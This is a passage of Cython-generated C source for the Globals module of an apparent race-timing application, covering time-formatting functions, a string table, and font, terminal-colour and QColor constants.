__Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_heure); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_heure}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_heure}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_INCREF(__pyx_v_heure); __Pyx_GIVEREF(__pyx_v_heure); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_heure); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_kp_u_); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_kp_u_02d, __pyx_n_s_format); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_v_minute); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_minute}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_minute}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_INCREF(__pyx_v_minute); __Pyx_GIVEREF(__pyx_v_minute); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_v_minute); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyNumber_Add(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyNumber_Add(__pyx_t_4, __pyx_kp_u_); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_kp_u_02d, __pyx_n_s_format); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_second); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_v_second}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_v_second}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_INCREF(__pyx_v_second); __Pyx_GIVEREF(__pyx_v_second); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_v_second); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_r = __pyx_t_1; __pyx_t_1 = 0; goto __pyx_L0; /* "Chrono/Globals.py":56 * return '{:0d}'.format(heure)+':'+'{:02d}'.format(minute)+':'+'{:02d}'.format(second)+'.'+'{:04d}'.format(milli) * * def createTimeSeconds( seconds): # <<<<<<<<<<<<<< * second = int( ( seconds ) ) % 60 * minute = int( ( seconds / 60 ) ) % 60 */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("Chrono.Globals.createTimeSeconds", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_second); __Pyx_XDECREF(__pyx_v_minute); __Pyx_XDECREF(__pyx_v_heure); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyMethodDef __pyx_methods[] = { {0, 0, 0, 0} }; #if PY_MAJOR_VERSION >= 3 static struct PyModuleDef __pyx_moduledef = { #if PY_VERSION_HEX < 0x03020000 { PyObject_HEAD_INIT(NULL) NULL, 0, NULL }, #else PyModuleDef_HEAD_INIT, #endif "Globals", 0, /* m_doc */ -1, /* m_size */ __pyx_methods /* m_methods */, NULL, /* m_reload */ NULL, /* m_traverse */ NULL, /* m_clear */ NULL /* m_free */ }; #endif static __Pyx_StringTabEntry __pyx_string_tab[] = { {&__pyx_kp_u_, __pyx_k_, sizeof(__pyx_k_), 0, 1, 0, 0}, {&__pyx_kp_u_02d, __pyx_k_02d, sizeof(__pyx_k_02d), 0, 1, 0, 0}, {&__pyx_kp_u_04d, __pyx_k_04d, sizeof(__pyx_k_04d), 0, 1, 0, 0}, {&__pyx_kp_u_0d, __pyx_k_0d, sizeof(__pyx_k_0d), 0, 1, 0, 0}, {&__pyx_kp_u_12_10s_15_10s, __pyx_k_12_10s_15_10s, sizeof(__pyx_k_12_10s_15_10s), 0, 1, 0, 0}, {&__pyx_kp_u_27m, __pyx_k_27m, sizeof(__pyx_k_27m), 0, 1, 0, 0}, {&__pyx_kp_u_30m, __pyx_k_30m, sizeof(__pyx_k_30m), 0, 1, 0, 0}, {&__pyx_kp_u_31m, __pyx_k_31m, sizeof(__pyx_k_31m), 0, 1, 0, 0}, {&__pyx_kp_u_32m, __pyx_k_32m, sizeof(__pyx_k_32m), 0, 1, 0, 0}, {&__pyx_kp_u_34m, __pyx_k_34m, sizeof(__pyx_k_34m), 0, 1, 0, 0}, {&__pyx_kp_u_4_0d_12_10s_15_10s, __pyx_k_4_0d_12_10s_15_10s, sizeof(__pyx_k_4_0d_12_10s_15_10s), 0, 1, 0, 0}, {&__pyx_kp_u_7m, __pyx_k_7m, sizeof(__pyx_k_7m), 0, 1, 0, 0}, {&__pyx_n_u_Blue, __pyx_k_Blue, sizeof(__pyx_k_Blue), 0, 1, 0, 1}, {&__pyx_n_s_C_concurrents_ID_fmt, __pyx_k_C_concurrents_ID_fmt, sizeof(__pyx_k_C_concurrents_ID_fmt), 0, 0, 1, 1}, {&__pyx_n_s_C_concurrents_TP_fmt, __pyx_k_C_concurrents_TP_fmt, sizeof(__pyx_k_C_concurrents_TP_fmt), 0, 0, 1, 1}, {&__pyx_n_s_C_concurrents_item_fmt, __pyx_k_C_concurrents_item_fmt, sizeof(__pyx_k_C_concurrents_item_fmt), 0, 0, 1, 1}, {&__pyx_n_s_C_concurrents_moni_fmt, __pyx_k_C_concurrents_moni_fmt, sizeof(__pyx_k_C_concurrents_moni_fmt), 0, 0, 1, 1}, {&__pyx_n_s_C_listFont, __pyx_k_C_listFont, sizeof(__pyx_k_C_listFont), 0, 0, 1, 1}, {&__pyx_n_s_Chrono_Globals, __pyx_k_Chrono_Globals, sizeof(__pyx_k_Chrono_Globals), 0, 0, 1, 1}, {&__pyx_kp_u_Courier_New, __pyx_k_Courier_New, sizeof(__pyx_k_Courier_New), 0, 1, 0, 0}, {&__pyx_n_u_Cyan, __pyx_k_Cyan, sizeof(__pyx_k_Cyan), 0, 1, 0, 1}, {&__pyx_n_u_Green, __pyx_k_Green, sizeof(__pyx_k_Green), 0, 1, 0, 1}, {&__pyx_kp_u_ID__16_16X, __pyx_k_ID__16_16X, sizeof(__pyx_k_ID__16_16X), 0, 1, 0, 0}, {&__pyx_n_s_MainWindow, __pyx_k_MainWindow, sizeof(__pyx_k_MainWindow), 0, 0, 1, 1}, {&__pyx_n_s_PyQt5_QtGui, __pyx_k_PyQt5_QtGui, sizeof(__pyx_k_PyQt5_QtGui), 0, 0, 1, 1}, {&__pyx_n_s_QColor, __pyx_k_QColor, sizeof(__pyx_k_QColor), 0, 0, 1, 1}, {&__pyx_n_s_QFont, __pyx_k_QFont, sizeof(__pyx_k_QFont), 0, 0, 1, 1}, {&__pyx_n_s_QIcon, __pyx_k_QIcon, sizeof(__pyx_k_QIcon), 0, 0, 1, 1}, {&__pyx_n_u_Red, __pyx_k_Red, sizeof(__pyx_k_Red), 0, 1, 0, 1}, {&__pyx_kp_u_TP__8_8X, __pyx_k_TP__8_8X, sizeof(__pyx_k_TP__8_8X), 0, 1, 0, 0}, {&__pyx_n_s_UserRole, __pyx_k_UserRole, sizeof(__pyx_k_UserRole), 0, 0, 1, 1}, {&__pyx_n_u_Violet, __pyx_k_Violet, sizeof(__pyx_k_Violet), 0, 1, 0, 1}, {&__pyx_n_u_White, __pyx_k_White, sizeof(__pyx_k_White), 0, 1, 0, 1}, {&__pyx_n_u_Yellow, __pyx_k_Yellow, sizeof(__pyx_k_Yellow), 0, 1, 0, 1}, {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, {&__pyx_n_u_c, __pyx_k_c, sizeof(__pyx_k_c), 0, 1, 0, 1}, {&__pyx_n_s_chr, __pyx_k_chr, sizeof(__pyx_k_chr), 0, 0, 1, 1}, {&__pyx_n_s_clear_screen, __pyx_k_clear_screen, sizeof(__pyx_k_clear_screen), 0, 0, 1, 1}, {&__pyx_n_s_colors, __pyx_k_colors, sizeof(__pyx_k_colors), 0, 0, 1, 1}, {&__pyx_n_s_createTime, __pyx_k_createTime, sizeof(__pyx_k_createTime), 0, 0, 1, 1}, {&__pyx_n_s_createTimeSeconds, __pyx_k_createTimeSeconds, sizeof(__pyx_k_createTimeSeconds), 0, 0, 1, 1}, {&__pyx_n_s_decoder, __pyx_k_decoder, sizeof(__pyx_k_decoder), 0, 0, 1, 1}, {&__pyx_n_s_dictBestLap, __pyx_k_dictBestLap, sizeof(__pyx_k_dictBestLap), 0, 0, 1, 1}, {&__pyx_n_s_dictBestLapMonitor, __pyx_k_dictBestLapMonitor, sizeof(__pyx_k_dictBestLapMonitor), 0, 0, 1, 1}, {&__pyx_n_s_dictRace, __pyx_k_dictRace, sizeof(__pyx_k_dictRace), 0, 0, 1, 1}, {&__pyx_kp_u_finish_flag, __pyx_k_finish_flag, sizeof(__pyx_k_finish_flag), 0, 1, 0, 0}, {&__pyx_n_s_format, __pyx_k_format, sizeof(__pyx_k_format), 0, 0, 1, 1}, {&__pyx_n_s_heure, __pyx_k_heure, sizeof(__pyx_k_heure), 0, 0, 1, 1}, {&__pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_k_home_thor_Devel_Transponder_Chr, sizeof(__pyx_k_home_thor_Devel_Transponder_Chr), 0, 0, 1, 0}, {&__pyx_n_s_icons, __pyx_k_icons, sizeof(__pyx_k_icons), 0, 0, 1, 1}, {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, {&__pyx_n_s_max_time, __pyx_k_max_time, sizeof(__pyx_k_max_time), 0, 0, 1, 1}, {&__pyx_n_s_milli, __pyx_k_milli, sizeof(__pyx_k_milli), 0, 0, 1, 1}, {&__pyx_n_s_minute, __pyx_k_minute, sizeof(__pyx_k_minute), 0, 0, 1, 1}, {&__pyx_n_s_raceDuration, __pyx_k_raceDuration, sizeof(__pyx_k_raceDuration), 0, 0, 1, 1}, {&__pyx_n_s_raceLaps, __pyx_k_raceLaps, sizeof(__pyx_k_raceLaps), 0, 0, 1, 1}, {&__pyx_n_s_racerList, __pyx_k_racerList, sizeof(__pyx_k_racerList), 0, 0, 1, 1}, {&__pyx_n_s_receiver, __pyx_k_receiver, sizeof(__pyx_k_receiver), 0, 0, 1, 1}, {&__pyx_n_s_second, __pyx_k_second, sizeof(__pyx_k_second), 0, 0, 1, 1}, {&__pyx_n_s_seconds, __pyx_k_seconds, sizeof(__pyx_k_seconds), 0, 0, 1, 1}, {&__pyx_n_s_setBold, __pyx_k_setBold, sizeof(__pyx_k_setBold), 0, 0, 1, 1}, {&__pyx_n_s_setFamily, __pyx_k_setFamily, sizeof(__pyx_k_setFamily), 0, 0, 1, 1}, {&__pyx_n_s_setItalic, __pyx_k_setItalic, sizeof(__pyx_k_setItalic), 0, 0, 1, 1}, {&__pyx_n_s_setKerning, __pyx_k_setKerning, sizeof(__pyx_k_setKerning), 0, 0, 1, 1}, {&__pyx_n_s_setPointSize, __pyx_k_setPointSize, sizeof(__pyx_k_setPointSize), 0, 0, 1, 1}, {&__pyx_n_s_setWeight, __pyx_k_setWeight, sizeof(__pyx_k_setWeight), 0, 0, 1, 1}, {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, {&__pyx_n_s_text_black, __pyx_k_text_black, sizeof(__pyx_k_text_black), 0, 0, 1, 1}, {&__pyx_n_s_text_blue, __pyx_k_text_blue, sizeof(__pyx_k_text_blue), 0, 0, 1, 1}, {&__pyx_n_s_text_green, __pyx_k_text_green, sizeof(__pyx_k_text_green), 0, 0, 1, 1}, {&__pyx_n_s_text_inverted, __pyx_k_text_inverted, sizeof(__pyx_k_text_inverted), 0, 0, 1, 1}, {&__pyx_n_s_text_normal, __pyx_k_text_normal, sizeof(__pyx_k_text_normal), 0, 0, 1, 1}, {&__pyx_n_s_text_red, __pyx_k_text_red, sizeof(__pyx_k_text_red), 0, 0, 1, 1}, {&__pyx_n_s_tpRacerList, __pyx_k_tpRacerList, sizeof(__pyx_k_tpRacerList), 0, 0, 1, 1}, {0, 0, 0, 0, 0, 0, 0} }; static int __Pyx_InitCachedBuiltins(void) { __pyx_builtin_chr = __Pyx_GetBuiltinName(__pyx_n_s_chr); if (!__pyx_builtin_chr) __PYX_ERR(0, 30, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } static int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); /* "Chrono/Globals.py":16 * # font used in list * C_listFont = QFont() * C_listFont.setFamily("Courier New") # <<<<<<<<<<<<<< * C_listFont.setPointSize(8) * C_listFont.setBold(False) */ __pyx_tuple__3 = PyTuple_Pack(1, __pyx_kp_u_Courier_New); if (unlikely(!__pyx_tuple__3)) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__3); __Pyx_GIVEREF(__pyx_tuple__3); /* "Chrono/Globals.py":17 * C_listFont = QFont() * C_listFont.setFamily("Courier New") * C_listFont.setPointSize(8) # <<<<<<<<<<<<<< * C_listFont.setBold(False) * C_listFont.setItalic(False) */ __pyx_tuple__4 = PyTuple_Pack(1, __pyx_int_8); if (unlikely(!__pyx_tuple__4)) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__4); __Pyx_GIVEREF(__pyx_tuple__4); /* "Chrono/Globals.py":18 * C_listFont.setFamily("Courier New") * C_listFont.setPointSize(8) * C_listFont.setBold(False) # <<<<<<<<<<<<<< * C_listFont.setItalic(False) * C_listFont.setWeight(50) */ __pyx_tuple__5 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__5)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__5); __Pyx_GIVEREF(__pyx_tuple__5); /* "Chrono/Globals.py":19 * C_listFont.setPointSize(8) * C_listFont.setBold(False) * C_listFont.setItalic(False) # <<<<<<<<<<<<<< * C_listFont.setWeight(50) * C_listFont.setKerning(False) */ __pyx_tuple__6 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__6)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__6); __Pyx_GIVEREF(__pyx_tuple__6); /* "Chrono/Globals.py":20 * C_listFont.setBold(False) * C_listFont.setItalic(False) * C_listFont.setWeight(50) # <<<<<<<<<<<<<< * C_listFont.setKerning(False) * # */ __pyx_tuple__7 = PyTuple_Pack(1, __pyx_int_50); if (unlikely(!__pyx_tuple__7)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__7); __Pyx_GIVEREF(__pyx_tuple__7); /* "Chrono/Globals.py":21 * C_listFont.setItalic(False) * C_listFont.setWeight(50) * C_listFont.setKerning(False) # <<<<<<<<<<<<<< * # * receiver = {} */ __pyx_tuple__8 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__8)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__8); __Pyx_GIVEREF(__pyx_tuple__8); /* "Chrono/Globals.py":30 * dictRace = dict() * # Definition for text formating in shell ( bash ) * clear_screen = chr(27)+"c" # <<<<<<<<<<<<<< * text_black = chr(27)+"[30m" * text_red = chr(27)+"[31m" */ __pyx_tuple__9 = PyTuple_Pack(1, __pyx_int_27); if (unlikely(!__pyx_tuple__9)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__9); __Pyx_GIVEREF(__pyx_tuple__9); /* "Chrono/Globals.py":31 * # Definition for text formating in shell ( bash ) * clear_screen = chr(27)+"c" * text_black = chr(27)+"[30m" # <<<<<<<<<<<<<< * text_red = chr(27)+"[31m" * text_green = chr(27)+"[32m" */ __pyx_tuple__10 = PyTuple_Pack(1, __pyx_int_27); if (unlikely(!__pyx_tuple__10)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__10); __Pyx_GIVEREF(__pyx_tuple__10); /* "Chrono/Globals.py":32 * clear_screen = chr(27)+"c" * text_black = chr(27)+"[30m" * text_red = chr(27)+"[31m" # <<<<<<<<<<<<<< * text_green = chr(27)+"[32m" * text_blue = chr(27)+"[34m" */ __pyx_tuple__11 = PyTuple_Pack(1, __pyx_int_27); if (unlikely(!__pyx_tuple__11)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__11); __Pyx_GIVEREF(__pyx_tuple__11); /* "Chrono/Globals.py":33 * text_black = chr(27)+"[30m" * text_red = chr(27)+"[31m" * text_green = chr(27)+"[32m" # <<<<<<<<<<<<<< * text_blue = chr(27)+"[34m" * text_normal = chr(27)+"[27m" */ __pyx_tuple__12 = PyTuple_Pack(1, __pyx_int_27); if (unlikely(!__pyx_tuple__12)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__12); __Pyx_GIVEREF(__pyx_tuple__12); /* "Chrono/Globals.py":34 * text_red = chr(27)+"[31m" * text_green = chr(27)+"[32m" * text_blue = chr(27)+"[34m" # <<<<<<<<<<<<<< * text_normal = chr(27)+"[27m" * text_inverted = chr(27)+"[7m" */ __pyx_tuple__13 = PyTuple_Pack(1, __pyx_int_27); if (unlikely(!__pyx_tuple__13)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__13); __Pyx_GIVEREF(__pyx_tuple__13); /* "Chrono/Globals.py":35 * text_green = chr(27)+"[32m" * text_blue = chr(27)+"[34m" * text_normal = chr(27)+"[27m" # <<<<<<<<<<<<<< * text_inverted = chr(27)+"[7m" * # max value of time */ __pyx_tuple__14 = PyTuple_Pack(1, __pyx_int_27); if (unlikely(!__pyx_tuple__14)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__14); __Pyx_GIVEREF(__pyx_tuple__14); /* "Chrono/Globals.py":36 * text_blue = chr(27)+"[34m" * text_normal = chr(27)+"[27m" * text_inverted = chr(27)+"[7m" # <<<<<<<<<<<<<< * # max value of time * max_time = 0xFFFFFFFF */ __pyx_tuple__15 = PyTuple_Pack(1, __pyx_int_27); if (unlikely(!__pyx_tuple__15)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__15); __Pyx_GIVEREF(__pyx_tuple__15); /* "Chrono/Globals.py":48 * # *********************************************************************************************************************** * * def createTime( milli): # <<<<<<<<<<<<<< * second = int( ( milli / 1000 ) ) % 60 * minute = int( ( milli / 1000 / 60 ) ) % 60 */ __pyx_tuple__16 = PyTuple_Pack(4, __pyx_n_s_milli, __pyx_n_s_second, __pyx_n_s_minute, __pyx_n_s_heure); if (unlikely(!__pyx_tuple__16)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__16); __Pyx_GIVEREF(__pyx_tuple__16); __pyx_codeobj__17 = (PyObject*)__Pyx_PyCode_New(1, 0, 4, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__16, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_createTime, 48, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__17)) __PYX_ERR(0, 48, __pyx_L1_error) /* "Chrono/Globals.py":56 * return '{:0d}'.format(heure)+':'+'{:02d}'.format(minute)+':'+'{:02d}'.format(second)+'.'+'{:04d}'.format(milli) * * def createTimeSeconds( seconds): # <<<<<<<<<<<<<< * second = int( ( seconds ) ) % 60 * minute = int( ( seconds / 60 ) ) % 60 */ __pyx_tuple__18 = PyTuple_Pack(4, __pyx_n_s_seconds, __pyx_n_s_second, __pyx_n_s_minute, __pyx_n_s_heure); if (unlikely(!__pyx_tuple__18)) __PYX_ERR(0, 56, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__18); __Pyx_GIVEREF(__pyx_tuple__18); __pyx_codeobj__19 = (PyObject*)__Pyx_PyCode_New(1, 0, 4, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__18, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_createTimeSeconds, 56, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__19)) __PYX_ERR(0, 56, __pyx_L1_error) /* "Chrono/Globals.py":71 * # Changed to dict (13.03.2018) * colors = {} * colors["Red"] = QColor( 0xff0000 ) # <<<<<<<<<<<<<< * colors["Green"] = QColor( 0x00ff00 ) * colors["Blue"] = QColor( 0x0000ff ) */ __pyx_tuple__20 = PyTuple_Pack(1, __pyx_int_16711680); if (unlikely(!__pyx_tuple__20)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__20); __Pyx_GIVEREF(__pyx_tuple__20); /* "Chrono/Globals.py":72 * colors = {} * colors["Red"] = QColor( 0xff0000 ) * colors["Green"] = QColor( 0x00ff00 ) # <<<<<<<<<<<<<< * colors["Blue"] = QColor( 0x0000ff ) * colors["Cyan"] = QColor( 0x00ffff ) */ __pyx_tuple__21 = PyTuple_Pack(1, __pyx_int_65280); if (unlikely(!__pyx_tuple__21)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__21); __Pyx_GIVEREF(__pyx_tuple__21); /* "Chrono/Globals.py":73 * colors["Red"] = QColor( 0xff0000 ) * colors["Green"] = QColor( 0x00ff00 ) * colors["Blue"] = QColor( 0x0000ff ) # <<<<<<<<<<<<<< * colors["Cyan"] = QColor( 0x00ffff ) * colors["White"] = QColor( 0xffffff ) */ __pyx_tuple__22 = PyTuple_Pack(1, __pyx_int_255); if (unlikely(!__pyx_tuple__22)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__22); __Pyx_GIVEREF(__pyx_tuple__22); /* "Chrono/Globals.py":74 * colors["Green"] = QColor( 0x00ff00 ) * colors["Blue"] = QColor( 0x0000ff ) * colors["Cyan"] = QColor( 0x00ffff ) # <<<<<<<<<<<<<< * colors["White"] = QColor( 0xffffff ) * colors["Violet"] = QColor( 0xff00ff ) */ __pyx_tuple__23 = PyTuple_Pack(1, __pyx_int_65535); if (unlikely(!__pyx_tuple__23)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__23); __Pyx_GIVEREF(__pyx_tuple__23); /* "Chrono/Globals.py":75 * colors["Blue"] = QColor( 0x0000ff ) * colors["Cyan"] = QColor( 0x00ffff ) * colors["White"] = QColor( 0xffffff ) # <<<<<<<<<<<<<< * colors["Violet"] = QColor( 0xff00ff ) * colors["Yellow"] = QColor( 0xffff00 ) */ __pyx_tuple__24 = PyTuple_Pack(1, __pyx_int_16777215); if (unlikely(!__pyx_tuple__24)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__24); __Pyx_GIVEREF(__pyx_tuple__24); /* 